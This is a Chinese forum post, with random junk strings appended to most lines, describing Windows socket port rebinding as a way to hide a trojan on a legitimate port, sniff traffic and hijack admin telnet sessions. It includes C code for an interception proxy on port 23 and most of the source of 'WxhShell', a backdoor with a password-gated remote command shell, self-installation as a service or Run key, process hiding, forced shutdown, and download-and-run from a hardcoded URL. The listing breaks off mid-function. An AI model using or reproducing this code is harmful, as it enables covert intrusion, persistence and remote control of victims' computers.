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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f3_-{<FZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g-G;8x'n  
*B<Ig^c  
  saddr.sin_family = AF_INET; 7oUecyoj  
kp F")0qr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %LI[+#QE  
z}Y23W&sX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3B*b d  
4)- ?1?)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vyy;mEBg  
KmF" Ccc  
  这意味着什么?意味着可以进行如下的攻击: ,q9nHZG^  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u7PtGN0r%  
4I"%GN[tA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =[A5qwyv  
BhAWIH8@C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M$Sq3m`{!  
k OYF]^uJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8&[Lr o9  
I^}q;L![\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ++>HU{  
<jt_<p +  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KMs[/|HX\  
#kGgz O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U`)\|\NY  
C:r@)Mhq  
  #include ?+3vK=Rf}  
  #include +#* F"k(  
  #include qKt*<KGeY  
  #include    *??!~RE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1co;U  
  int main() R7'6#2y  
  { x}^ :Bs+j  
  WORD wVersionRequested; IBP3  
  DWORD ret; y4N8B:j%  
  WSADATA wsaData; cy_'QS$W   
  BOOL val; j 3/ I =  
  SOCKADDR_IN saddr; hk5[ N=  
  SOCKADDR_IN scaddr; pJg'$iR!/  
  int err; =1|^) 4M,x  
  SOCKET s; ;)n kY6-  
  SOCKET sc; X667*L^  
  int caddsize; Q:L^DZkGV  
  HANDLE mt;  f$7Xh~  
  DWORD tid;   #|92 +  
  wVersionRequested = MAKEWORD( 2, 2 ); k4n 4 BL  
  err = WSAStartup( wVersionRequested, &wsaData ); p :v'"A}  
  if ( err != 0 ) { dM-qd`  
  printf("error!WSAStartup failed!\n"); egXHp<bqw  
  return -1; `EBI$;!  
  } !xE /  
  saddr.sin_family = AF_INET; _cRCG1CJ  
   TTYM!+T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X mmb^2I  
,(&p "O":  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wOMrUWB0  
  saddr.sin_port = htons(23); Tasmbo^mAF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 95XQ?%  
  { Ym% $!#  
  printf("error!socket failed!\n"); 9#;GG3  
  return -1; ?&gqGU}  
  } 3p+V~n.+  
  val = TRUE; TTDcVG_}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zh.^> `   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o [ Je  
  { Kl\g{>{Uz  
  printf("error!setsockopt failed!\n"); I ~U1vtgp  
  return -1; )7aUDsu>4  
  } *\-$.w)k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &gxWdG}qx]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B|f =hlY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mBwM=LAZ  
B5A/Iv)2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w$)NW57[|  
  { (yJY/|  
  ret=GetLastError(); U}yq*$N  
  printf("error!bind failed!\n"); e7_.Xr~[  
  return -1; u# TNW.  
  } '9ki~jtf=  
  listen(s,2); -$ VP#%  
  while(1) CD! Aa  
  { [ pe{,lp  
  caddsize = sizeof(scaddr); 7^oO N+=d  
  //接受连接请求 mhNX05D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5V $H?MW>  
  if(sc!=INVALID_SOCKET) mi';96  
  { n%S%a >IQj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >fq]c  
  if(mt==NULL) xCQLfXK7  
  { *2T"lpl  
  printf("Thread Creat Failed!\n"); G(3wI}  
  break; CyV2=o!F w  
  } JhU"akoK  
  } /Kd9UQU  
  CloseHandle(mt); i8h^~d2"  
  } uGc0Lv4i/  
  closesocket(s); 1PN!1=F}  
  WSACleanup(); ke)}JU^"  
  return 0; @zC p/fo3  
  }   ?Tlt(%f  
  DWORD WINAPI ClientThread(LPVOID lpParam) u\A L`'v  
  { 3a\De(;  
  SOCKET ss = (SOCKET)lpParam; Oxp!G7qfo  
  SOCKET sc; /'l"Us},^!  
  unsigned char buf[4096]; T Ob(  
  SOCKADDR_IN saddr; yg^ 4<A  
  long num; ]3\%i2NM  
  DWORD val; `x:O&2  
  DWORD ret; gTQc=,3l3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FKH_o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KY'x;\0 g  
  saddr.sin_family = AF_INET; v;sWI"Fv!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |muZv!,E  
  saddr.sin_port = htons(23); Wt M1nnJp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B'v~0Kau  
  { 1\X_B`xwD  
  printf("error!socket failed!\n"); . #FJM2Xk  
  return -1; Y2TXWl,Jk  
  } H[Q3M~_E  
  val = 100; cakwGs_{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *%ta5a  
  { tch;_7?  
  ret = GetLastError(); M{jJ>S{g  
  return -1; :\]qB&  
  } pV(qan,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _u9bZ'  
  { JKF/z@Vbe\  
  ret = GetLastError(); pt%*Y.)az  
  return -1; !"LFeqI$lr  
  } )tv~N7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =.]{OT  
  { |Kq<}R  
  printf("error!socket connect failed!\n"); -y'tz,En.  
  closesocket(sc); 6W/uoH=;  
  closesocket(ss); ;w<r/dK   
  return -1; O9P4r*prA  
  } 0<)Ep~!  
  while(1) [85b+SKW  
  { C({r1l4[D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lyzM?lK-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .3CQFbHF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r`Bm" xI  
  num = recv(ss,buf,4096,0); (-Qr.t_B`  
  if(num>0) Rr0]~2R  
  send(sc,buf,num,0); pM-mZ/?  
  else if(num==0) 8wLGmv^  
  break; j 6dlAe  
  num = recv(sc,buf,4096,0); Se.qft?D%(  
  if(num>0) r@c!M|m@  
  send(ss,buf,num,0); +TC##}Zmb  
  else if(num==0) Hbl&)!I  
  break; .1f!w!ltVR  
  } #('GGzL6c  
  closesocket(ss); tI<6TE'!p#  
  closesocket(sc); e8 c.&j3m  
  return 0 ; bH g 0,N  
  } %F87"v~  
2i$_ ,[fi  
(7C$'T-ZK  
========================================================== @GWlo\rM6^  
p+;;01Z+_  
下边附上一个代码,,WXhSHELL 5Y>fVq{U?;  
f{-,"6Y1  
========================================================== u/apnAW@M  
Zm vtUma  
#include "stdafx.h" a/n~#5-  
(\%J0kR3[  
#include <stdio.h> ~g}blv0q+B  
#include <string.h> -FS! v^  
#include <windows.h> F8&L'@m9>  
#include <winsock2.h> @o6!  
#include <winsvc.h> ]Na;b  
#include <urlmon.h> Ch)E:Dvq6  
: cPV08i  
#pragma comment (lib, "Ws2_32.lib") I2gSgv%  
#pragma comment (lib, "urlmon.lib") J4Ca0Ag  
m A('MS2  
#define MAX_USER   100 // 最大客户端连接数 |fY#2\)Yx  
#define BUF_SOCK   200 // sock buffer P6)d#M  
#define KEY_BUFF   255 // 输入 buffer XEUS)X)  
qga\icQr  
#define REBOOT     0   // 重启 L>pSE'}  
#define SHUTDOWN   1   // 关机 ~i0>[S3 '  
O&Y22mu  
#define DEF_PORT   5000 // 监听端口 gZ us}U  
p\}!uS4 (  
#define REG_LEN     16   // 注册表键长度 l-2lb&n  
#define SVC_LEN     80   // NT服务名长度 E(*S]Z[  
& j*Ylj}  
// 从dll定义API {KSy I#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BkB9u&s^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~FVbL-2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L+G i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uT Y G/O  
A:\_ \B%<  
// wxhshell配置信息 0zk054F'  
struct WSCFG { H'I5LYsXO~  
  int ws_port;         // 监听端口 f[q_eY  
  char ws_passstr[REG_LEN]; // 口令 (`<B#D;  
  int ws_autoins;       // 安装标记, 1=yes 0=no nv3TxG  
  char ws_regname[REG_LEN]; // 注册表键名 ?4t~z 1.f  
  char ws_svcname[REG_LEN]; // 服务名 MfraTUxIo/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <bJ~Ol  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]UrlFiR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GS*_m4.Ry6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G+WCE*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /U>8vV+C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t&-c?&FO\;  
fO83 7  
}; z=4E#y `?U  
ie/QSte  
// default Wxhshell configuration N@"e^i  
struct WSCFG wscfg={DEF_PORT, {JM3drnw  
    "xuhuanlingzhe", `F~Fb S  
    1, <)+;Bg  
    "Wxhshell", (kx>\FIK*  
    "Wxhshell", [-\DC*6  
            "WxhShell Service", fN 1:'d  
    "Wrsky Windows CmdShell Service", DvTbt?i[  
    "Please Input Your Password: ",  aqwW`\  
  1, Lve$H(GHT  
  "http://www.wrsky.com/wxhshell.exe", oTA'=<W?D  
  "Wxhshell.exe" w_YY~Af  
    }; nZ`=Up p)  
z.W1Za  
// 消息定义模块 7KtgR=-Lb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4-\4G"4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /sVmQqVY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K,*IfHi6[  
char *msg_ws_ext="\n\rExit."; k,y#|bf,Y  
char *msg_ws_end="\n\rQuit."; M<@9di7c  
char *msg_ws_boot="\n\rReboot..."; r?x~`C  
char *msg_ws_poff="\n\rShutdown..."; z=LO$,JW`  
char *msg_ws_down="\n\rSave to "; /Wy9 ".  
(; Zl  
char *msg_ws_err="\n\rErr!"; 5;9.&f  
char *msg_ws_ok="\n\rOK!"; )' 2vUt`_7  
5hB2:$C  
char ExeFile[MAX_PATH]; DE?@8k  
int nUser = 0; =OR&,xt  
HANDLE handles[MAX_USER]; x_EU.924uY  
int OsIsNt; &0mhO+g   
*gI9CVfQl  
SERVICE_STATUS       serviceStatus; dTVM !=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 94XRf"^  
,aa %{  
// 函数声明 i{PX=  
int Install(void); ]o_E]5"jO  
int Uninstall(void); p-/}@r3Z+  
int DownloadFile(char *sURL, SOCKET wsh); 2aQ}| `  
int Boot(int flag); U7G|4(  
void HideProc(void); !" : arK  
int GetOsVer(void); 1xwq:vFC.  
int Wxhshell(SOCKET wsl); *OZ O} i  
void TalkWithClient(void *cs); S*rcXG6Q^  
int CmdShell(SOCKET sock); YGLR%PYv"  
int StartFromService(void); b$FXRR\G  
int StartWxhshell(LPSTR lpCmdLine); F,XJGD*  
9a.[>4}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); td+[Na0d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1z[blNs&  
4_S%K&  
// 数据结构和表定义 ,I[A~  
SERVICE_TABLE_ENTRY DispatchTable[] = &l~=c2  
{ =`%%*  
{wscfg.ws_svcname, NTServiceMain}, 3*b!]^d:D  
{NULL, NULL} &S# bLE  
}; ~ K|o@LK  
%P]-wBJw  
// 自我安装 QLTE`t5w3'  
int Install(void) g? \pH:|79  
{ {c$%3iQq  
  char svExeFile[MAX_PATH]; B Zw#ACU  
  HKEY key; _d<\@Tkw  
  strcpy(svExeFile,ExeFile); #60<$HO:Z  
4>@-1nt}  
// 如果是win9x系统,修改注册表设为自启动 KL*UU,qU  
if(!OsIsNt) { k?=V?JWY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iyvl6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SHPZXJ{  
  RegCloseKey(key); \'N|1!EO|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bb/aeLv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jNseD  
  RegCloseKey(key); YJwz*@l  
  return 0; __||cQ  
    } BcoE&I?[m|  
  } <kor;exeJ  
} %u|qAF2uS  
else { ~LzTqMHM  
k)USLA  
// 如果是NT以上系统,安装为系统服务 r,dxW5v.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^A$~8?f  
if (schSCManager!=0) ^SRa!8z$W  
{ 1vxh3KS.  
  SC_HANDLE schService = CreateService (.3L'+F  
  (  ?hpk)Qu  
  schSCManager, XC{(O:EG  
  wscfg.ws_svcname, }c,}+{q  
  wscfg.ws_svcdisp, AuYi$?8|5  
  SERVICE_ALL_ACCESS, 'C*NyHc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -/&6}lD  
  SERVICE_AUTO_START, VVje|T^{Z  
  SERVICE_ERROR_NORMAL, }fs;yPl,  
  svExeFile, )+9D$m=P;  
  NULL, Lp*T=]C]  
  NULL, Cj):g,[a  
  NULL, o [ %Q&u  
  NULL, efP2 C\  
  NULL am05>c9  
  ); `\P:rn95;  
  if (schService!=0) Y<.F/iaH  
  { L7%'Y}1e.  
  CloseServiceHandle(schService); z:R2Wksg  
  CloseServiceHandle(schSCManager); 4%j&]PASa1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |qNrj~n@  
  strcat(svExeFile,wscfg.ws_svcname); _?_Svx2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <FK7Rz:4T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AjANuyUaP  
  RegCloseKey(key); ^NLKX5Q  
  return 0; x{*!"a>  
    } [l5 "'{x  
  } ?\F,}e  
  CloseServiceHandle(schSCManager); {nOK*7+ "  
} @+X}O /74  
} r5iO%JFg  
|:r/K  
return 1; |I+E`,n"b  
} 7RD` *s  
PvT8XSlTx!  
// 自我卸载 D&9j$#9Rh  
int Uninstall(void) Ef`LBAfOO  
{ $'FPst8Q<  
  HKEY key; :g9z^ $g  
]:E]5&VwV}  
if(!OsIsNt) { '\*Rw]bR|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r rwsj`  
  RegDeleteValue(key,wscfg.ws_regname); FVQWz[N  
  RegCloseKey(key); %#QFu/l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v,i:vT\~  
  RegDeleteValue(key,wscfg.ws_regname); JcVq%~ {M  
  RegCloseKey(key); HIa$0g0J  
  return 0; q=1SP@;\6  
  } MthThsr7  
} 47K5[R  
} V!U[N.&$  
else { lIFU7g  
G[>-@9_b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /l$noaskX  
if (schSCManager!=0) Z|?XQ-R5  
{ }C&c=3V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8rpN2M 3h  
  if (schService!=0) l*m|b""].u  
  { P/PS(`  
  if(DeleteService(schService)!=0) { (&nl}_`7?,  
  CloseServiceHandle(schService); S~Hj. d4/  
  CloseServiceHandle(schSCManager); $^0YK|F  
  return 0; Csc2yI%3  
  } 1aT$07G0  
  CloseServiceHandle(schService); *-Yw0Y[E  
  } .yP 3}Nl  
  CloseServiceHandle(schSCManager); gwYd4  
} ^ KjqS\<  
} X*yl% V  
z0W+4meoH  
return 1; 4 z`5W,  
} XbOL/6V ^[  
hB+ t pa  
// 从指定url下载文件 |}|;OG  
int DownloadFile(char *sURL, SOCKET wsh) SA7,]&Zb  
{ kv4J@  
  HRESULT hr; )nk>*oE  
char seps[]= "/"; NR[mzJv  
char *token; /(0d{  
char *file; E37@BfpO3  
char myURL[MAX_PATH]; &L?Dogo  
char myFILE[MAX_PATH]; &sRJ'oc  
5~X%*_[],  
strcpy(myURL,sURL); d#tUG~jc  
  token=strtok(myURL,seps); M:SxAo-D2  
  while(token!=NULL) '} kq@  
  { ?hu 9c  
    file=token; O&s6blD11  
  token=strtok(NULL,seps); X>6a@$MxP  
  } _# F'rl6'  
uR%H"f  
GetCurrentDirectory(MAX_PATH,myFILE); qpeK><o  
strcat(myFILE, "\\"); fytx({I .a  
strcat(myFILE, file); nJya1AH;  
  send(wsh,myFILE,strlen(myFILE),0); Z7/dRc   
send(wsh,"...",3,0); {LeEnh-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m&%b;%,J  
  if(hr==S_OK) \nyFN  
return 0; bcs!4  
else ~z}au"k  
return 1; !T{g& f  
Z%R%D*f@y  
} )pLq^j  
>`uSNY"tO  
// 系统电源模块 W Q&<QVK  
int Boot(int flag) $S}x'F!4_  
{ _YS+{0 Vq%  
  HANDLE hToken; dW`D?$(@,  
  TOKEN_PRIVILEGES tkp; 1W g8jr's  
ezvaAhd{  
  if(OsIsNt) { |Q;o538  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GXRjR\Ch  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~-GDheA  
    tkp.PrivilegeCount = 1; 3$cF)5Vf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  c$|dK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9-^p23.@[j  
if(flag==REBOOT) { ftPw6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QA(,K}z~^S  
  return 0; ^IpiNY/%Q  
} h'x~"k1  
else { v1=X=H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bZXNo  
  return 0; /<$"c"UQ  
} n:D*r$ C|p  
  } ,Tl5@RN  
  else { .[fz x`  
if(flag==REBOOT) { ks;wc"k"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5uer [1A  
  return 0; }A7qIys$4  
} /8>/"Z2S  
else { 0Y 2^}u@5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) af(JoX*U  
  return 0; e;5Lv9?C8  
} %6'D!H?d  
} )1}g7:  
J#DcT@  
return 1; HJR<d&l;p  
} zYdtQjv  
i@Zj 7#e*  
// win9x进程隐藏模块 e}[we:  
void HideProc(void) }YP7x|  
{ L"I] mQvd  
?ljod6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xh"iP%  
  if ( hKernel != NULL ) n;-r W;ZO  
  { _%vqBr*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gj,J3x4TK/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y UAn~!s  
    FreeLibrary(hKernel); ue"?S6  
  } t1{}-JlA  
v|(b,J3  
return; O + & xb  
} QCfpDE}  
`;CU[Ps?]  
// 获取操作系统版本 7$W;4!BN*  
int GetOsVer(void) _ D9@<+MS*  
{ f<:U"E.  
  OSVERSIONINFO winfo; KBR0p&MN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s@LNQ|'kO  
  GetVersionEx(&winfo); Lu39eO6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \%Rta$ O?S  
  return 1; F ^t?*   
  else ,l .U^d6>  
  return 0; N%A`rY}u  
} $3.vVnc  
(mIJI,[xn  
// 客户端句柄模块 lp-Zx[#`}C  
int Wxhshell(SOCKET wsl) Cw&D}  
{ F}(QKO*  
  SOCKET wsh; n E}<e:  
  struct sockaddr_in client; Ygi1"X}  
  DWORD myID; FP'lEp  
4<< bk_7'  
  while(nUser<MAX_USER) L?27q  
{ u?;Vxh3@|  
  int nSize=sizeof(client); rHgdvDc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `]P5,  
  if(wsh==INVALID_SOCKET) return 1; $>ZP%~O  
s.^9HuM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #2R%H.*t  
if(handles[nUser]==0) yCCw<?  
  closesocket(wsh); J.mewD!%z  
else .q`H`(QM  
  nUser++; S?7V "LF  
  } C<t'f(4s`u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -^4bA<dCCE  
>2CusT2  
  return 0; b]<HhU  
} ^I<T+X+<  
MJKl]&  
// 关闭 socket cYM~IA  
void CloseIt(SOCKET wsh) qD;v/,?  
{ /;NE]{K  
closesocket(wsh); Bd9hf`% 2  
nUser--; 3V Mh)  
ExitThread(0); CQjZAv  
} [s{r$!Gl  
Y3$PQwn .P  
// 客户端请求句柄 25a#eDbqi  
void TalkWithClient(void *cs) PIEW\i  
{ rW~?0  
[j}7@Mr`\  
  SOCKET wsh=(SOCKET)cs; xR|eyeR  
  char pwd[SVC_LEN]; . z$Sm  
  char cmd[KEY_BUFF]; noh|/sPMD  
char chr[1]; :#w+?LA*  
int i,j; M_!u@\  
xw+<p  
  while (nUser < MAX_USER) { r*N~. tFo  
i=1 }lk q  
if(wscfg.ws_passstr) { K@jSr*\'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w,![;wG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?D(FNd  
  //ZeroMemory(pwd,KEY_BUFF); K 5qLBz@U  
      i=0; <F)w=_%&  
  while(i<SVC_LEN) { 5B>Q 6  
jemx ky  
  // 设置超时 6I&j cHH  
  fd_set FdRead; +t>*l>[  
  struct timeval TimeOut; UOu6LD/|h  
  FD_ZERO(&FdRead); 6c2ThtL  
  FD_SET(wsh,&FdRead); 4", )zDk  
  TimeOut.tv_sec=8; 7.$]f71z  
  TimeOut.tv_usec=0; 1]>$5 1Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eyf4M;goz}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /~Zc}o,J  
~)wwX:;B_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h7EUIlh"  
  pwd=chr[0]; 7~ *;=,mw  
  if(chr[0]==0xd || chr[0]==0xa) { a*6wSAA )  
  pwd=0; R5K-KSvW  
  break; u%=bHg  
  } niYz9YX  
  i++; jy!f{dsC  
    } Eg`R|CF  
@TA8^ND  
  // 如果是非法用户,关闭 socket JN&MyA"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m)@Q_{=6M  
} Mr=}B6`  
K5!";V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KP=D! l&q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t&R!5^R  
C|4 U78f{  
while(1) { &@4.;u  
NWJcFj_  
  ZeroMemory(cmd,KEY_BUFF); p*pn@z  
 Iys6R?~  
      // 自动支持客户端 telnet标准   HZDk <aU/!  
  j=0; { r6]MS#l1  
  while(j<KEY_BUFF) { O1?B{F/ e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 [fo'M  
  cmd[j]=chr[0]; ka2F !   
  if(chr[0]==0xa || chr[0]==0xd) { *MYt:ms  
  cmd[j]=0; oUQGLl!V  
  break; ;'=VrE6  
  } X2 \E9hJg  
  j++; X)Dqeb6  
    } UsLh)#}h  
"JzfL(yt  
  // 下载文件 S9G8aea/  
  if(strstr(cmd,"http://")) { BgJkrv7~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %"l81z  
  if(DownloadFile(cmd,wsh)) M'cJ)-G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uX[O,l^}  
  else e1%rVQ(v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Job/@> ;  
  } FNz84qVIx'  
  else { YO@hE>  
n 5~=qQK2  
    switch(cmd[0]) { CgVh\4,a  
  nU} ~I)@V  
  // 帮助 K4j@j}zK9I  
  case '?': { +jq 2pFQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :v#k&Uh3y  
    break; W *YW6  
  } 2;~KL-h0TK  
  // 安装 \ |4 Ca't  
  case 'i': { '1CD- Bu  
    if(Install()) L"[IOV9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy2(Ag\  
    else T(Y}V[0+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [urH a  
    break; LKqRvPnh  
    } cJP'ShnCh  
  // 卸载 }  c{Fa&  
  case 'r': { =a?a@+  
    if(Uninstall()) ':,>eL#+uV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Xwk*@t2a  
    else /GsSrP_?]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o*%3[HmV  
    break; shM{Y9~O9&  
    } w`M]0'zls  
  // 显示 wxhshell 所在路径 G3H#XK D  
  case 'p': { HjV\lcK:v  
    char svExeFile[MAX_PATH]; *I=_*LoG2  
    strcpy(svExeFile,"\n\r"); azvDvEWCQZ  
      strcat(svExeFile,ExeFile); |xq} '.C  
        send(wsh,svExeFile,strlen(svExeFile),0); M|U';2hZN:  
    break; %v]7BV^%6  
    } clHM8$  
  // 重启 ha_@Yqgh  
  case 'b': { IK8%Q(.c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /r-8T>m  
    if(Boot(REBOOT)) xC)7eQn/R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'd.;  
    else { GSQfg  
    closesocket(wsh); a|UqeNI{  
    ExitThread(0); r k@UsHy  
    } -dl}_   
    break; 0[lS(K  
    } D2Y&[zgv  
  // 关机 F b1EMVu  
  case 'd': { `Gf{z%/  
